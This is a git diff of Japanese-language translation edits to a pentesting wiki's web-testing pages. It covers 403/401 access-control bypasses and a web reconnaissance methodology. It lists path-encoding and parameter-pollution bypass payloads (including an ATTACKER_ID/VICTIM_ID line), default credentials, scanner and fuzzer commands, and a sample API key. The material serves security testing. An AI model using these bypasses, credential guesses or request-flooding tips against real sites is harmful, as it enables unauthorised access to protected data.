ヘッダー**](special-http-headers.md) をファジングして異なるレスポンスを探してください。 -- **HTTP メソッドをファジング** しながら **特別な HTTP ヘッダーをファジング** してください。 -- **Host ヘッダーを削除** すると、保護をバイパスできるかもしれません。 +- ページが**プロキシの背後にある**場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTPリクエストスムージング**](../../pentesting-web/http-request-smuggling/index.html) **または** [**hop-by-hopヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。** +- [**特別なHTTPヘッダー**](special-http-headers.md)をファジングして異なるレスポンスを探します。 +- **HTTPメソッドをファジング**しながら**特別なHTTPヘッダーをファジング**します。 +- **Hostヘッダーを削除**すると、保護をバイパスできるかもしれません。 ## パス **ファジング** -もし _/path_ がブロックされている場合: +もし_/path_がブロックされている場合: -- _**/**_**%2e/path を使用してみてください _(アクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります)。また、**\_\*\* /%252e\*\*/path (二重 URL エンコード) を試してください。_ -- **Unicode バイパス** を試してください: _/**%ef%bc%8f**path_ (URL エンコードされた文字は "/" のようなものです) ので、再エンコードされると _//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません。 -- **他のパスバイパス**: +- _**/**_**%2e/pathを試してみてください(アクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、**\_\*\* /%252e\*\*/path(ダブルURLエンコード)も試してください。** +- **Unicodeバイパス**を試してください:_/**%ef%bc%8f**path_(URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。 +- **他のパスバイパス**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK - site.com/secret/ –> HTTP 200 OK @@ -57,44 +57,44 @@ - site.com/.;/secret –> HTTP 200 OK - site.com//;//secret –> HTTP 200 OK - site.com/secret.json –> HTTP 200 OK (ruby) -- 次の状況で [**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) を使用してください: +- 次の状況で[**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)を使用してください: - /FUZZsecret - /FUZZ/secret - /secretFUZZ -- **他の API バイパス:** +- **他のAPIバイパス:** - /v3/users_data/1234 --> 403 Forbidden - /v1/users_data/1234 --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:\[111]} --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:{“id”:111\}} --> 200 OK -- {"user_id":"\","user_id":"\"} (JSON パラメータ汚染) +- {"user_id":"\","user_id":"\"} (JSONパラメータ汚染) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (パラメータ汚染) ## **パラメータ操作** -- **param 値を変更**: **`id=123` --> `id=124`** -- URL に追加のパラメータを追加: `?`**`id=124` —-> `id=124&isAdmin=true`** +- **パラメータ値を変更**: **`id=123` --> `id=124`** +- URLに追加のパラメータを追加: `?`**`id=124` —-> `id=124&isAdmin=true`** - パラメータを削除 - パラメータの順序を変更 - 特殊文字を使用 -- パラメータで境界テストを実施 — _-234_ や _0_ や _99999999_ のような値を提供します(いくつかの例値)。 +- パラメータで境界テストを実施 — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。 ## **プロトコルバージョン** -HTTP/1.1 を使用している場合は **1.0 を使用してみてください** または **2.0 をサポートしているかテストしてみてください**。 +HTTP/1.1を使用している場合は、**1.0を使用してみてください**または**2.0をサポートしているかテストしてみてください**。 ## **その他のバイパス** -- ドメインの **IP** または **CNAME** を取得し、**直接連絡してみてください**。 -- 一般的な GET リクエストを送信して **サーバーにストレスをかけてみてください** ([この人が Facebook で成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). -- **プロトコルを変更**: http から https へ、または https から http へ -- [**https://archive.org/web/**](https://archive.org/web/) にアクセスし、過去にそのファイルが **全世界にアクセス可能だったかどうかを確認してください**。 +- ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。 +- 一般的なGETリクエストを送信して**サーバーにストレスをかけてみてください**([この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。 +- **プロトコルを変更**: httpからhttpsへ、またはhttpsからhttpへ。 +- [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界にアクセス可能だったかどうかを確認してください**。 ## **ブルートフォース** -- **パスワードを推測**: 次の一般的な資格情報をテストします。被害者について何か知っていますか?または CTF チャレンジ名は? -- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM 認証を試してください。 +- **パスワードを推測**: 次の一般的な認証情報をテストします。被害者について何か知っていますか?またはCTFチャレンジ名は? +- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM認証を試してください。 ```:Common creds admin admin admin password @@ -114,4 +114,5 @@ guest guest - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index f90f46461..c50eb4920 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -29,16 +29,16 @@ web-api-pentesting.md - [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。 - [ ] 技術のバージョンに**既知の脆弱性**はありますか? -- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか? +- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか? - [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)? - [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。 - [ ] **初期チェック**を開始します:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。 -- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメーター**を**見つける**時間です。また、**特別な発見**を確認します。 +- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。 - [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_ - [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。 - [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_ - [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。 -- [ ] **パラメーターのブルートフォース**:**隠れたパラメーター**を**見つける**ことを試みます。 +- [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を**見つける**ことを試みます。 - [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。 - [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md) @@ -47,31 +47,31 @@ web-api-pentesting.md ### Identify 実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\ -**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または [**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません: +**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -検索 **for** [**ウェブアプリケーションの** **バージョン** **の脆弱性**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **WAFがあるか確認する** +### **Check if any WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### ウェブ技術のトリック +### Web tech tricks -異なるよく知られた **技術** の **脆弱性** を見つけるための **トリック**: +異なるよく知られた**技術**での**脆弱性**を見つけるための**トリック**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) - [**Artifactory**](artifactory-hacking-guide.md) -- [**Buckets**](buckets/) +- [**Buckets**](buckets/index.html) - [**CGI**](cgi.md) -- [**Drupal**](drupal/) +- [**Drupal**](drupal/index.html) - [**Flask**](flask.md) - [**Git**](git.md) - [**Golang**](golang.md) @@ -86,39 +86,39 @@ webanalyze -host https://google.com -crawl 2 - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (phpには悪用できる興味深いトリックがたくさんあります)**](php-tricks-esp/) +- [**PHP (phpには悪用できる興味深いトリックがたくさんあります)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) -- [**Tomcat**](tomcat/) +- [**Tomcat**](tomcat/index.html) - [**VMWare**](vmware-esx-vcenter....md) - [**Web API Pentesting**](web-api-pentesting.md) - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSSからRCEへ)**](electron-desktop-apps/) +- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\ +_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\ ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。 -### ソースコードレビュー +### Source Code Review -アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります: +アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります: -- **Change-log**や**Readme**、**Version**ファイル、またはウェブ経由で**バージョン情報にアクセス可能な**ものはありますか? -- **資格情報**はどのように、どこに保存されていますか?資格情報(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか? +- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか? +- **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか? - **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか? -- 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか? -- 脆弱性を悪用して**これらのファイルのいずれかにアクセス**できますか? -- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**導入されたパスワード**があるかもしれません)? +- 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか? +- 脆弱性を悪用してこれらのファイルのいずれかに**アクセス**できますか? +- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**導入されたパスワード**など)? {{#ref}} code-review-tools.md {{#endref}} -### 自動スキャナー +### Automatic scanners -#### 一般目的の自動スキャナー +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -132,20 +132,20 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMSスキャナー -CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。おそらく何か興味深いものが見つかるでしょう: +CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません: -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **または** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。 +> この時点で、クライアントが使用しているウェブサーバーに関する情報(もしデータが提供されていれば)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。 ## ステップバイステップのウェブアプリケーション発見 @@ -175,12 +175,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs **WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください: -- **ブルートフォース**認証情報 -- ウェブページ内の**他のフォルダー**にWebDavを介して**ファイルをアップロード**する。別のフォルダーにファイルをアップロードする権限があるかもしれません。 +- **ブルートフォース**で認証情報を取得する +- ウェブページ内の**見つかったフォルダー**にWebDavを介して**ファイルをアップロードする**。他のフォルダーにファイルをアップロードする権限があるかもしれません。 ### **SSL/TLSの脆弱性** -- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。 +- アプリケーションが**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。 - アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。 [**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください: @@ -202,47 +202,47 @@ SSL/TLSの脆弱性に関する情報: ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。 -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてのArchive.org。 -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、"juicy files"も示します。 +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。 +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。 - [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。 -- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。 +- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、レスポンスを保存します。 - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。 - [**gau**](https://github.com/lc/gau) (go): 外部プロバイダー(wayback、otx、commoncrawl)を使用するHTMLスパイダー。 -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。 +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけてリストします。 - [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。 -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの専門家に役立ちます。 -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。 -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して相対URLを抽出します。 +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルのエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。 +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。 +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。 - [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。 +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ発見ツール。 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。 -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。 +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、整形されたJSコードを取得するツール。 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。 -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(応答をダウンロードし、さらにリンクを探します)。 +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(レスポンスをダウンロードし、さらにリンクを探します)。 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。 -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出してカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。 +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。 - [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。 - [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけたすべてのリンクを印刷します。 ### ディレクトリとファイルのブルートフォース -ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\ +ルートフォルダーから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\ ツール: - **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。 -- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。 +- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索は**ありません**。 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。 -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づく)。 +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します。 - [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。 **推奨辞書:** @@ -276,29 +276,29 @@ _ブルートフォースやスパイダーリング中に新しいディレク - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。 -- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報**を隠すことです。 -- **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**]()**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**何百もの**スペースを使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。 +- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**]()**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。 -- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。 +- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/index.html)。 ### 特別な発見 -**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことがあります。 +**スパイダーリング**と**ブルートフォース**を実行しているときに、**興味深い****もの**を**見つける**ことがあります。 **興味深いファイル** -- **CSS**ファイル内の他のファイルへの**リンク**を探してください。 +- **CSS**ファイル内の他のファイルへの**リンク**を探します。 - [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md) - **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。 -- **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 +- **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 - **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。** -- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを調べるべきです。 +- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org) - **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex) -- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。 +- **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。 **403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)** @@ -308,21 +308,21 @@ 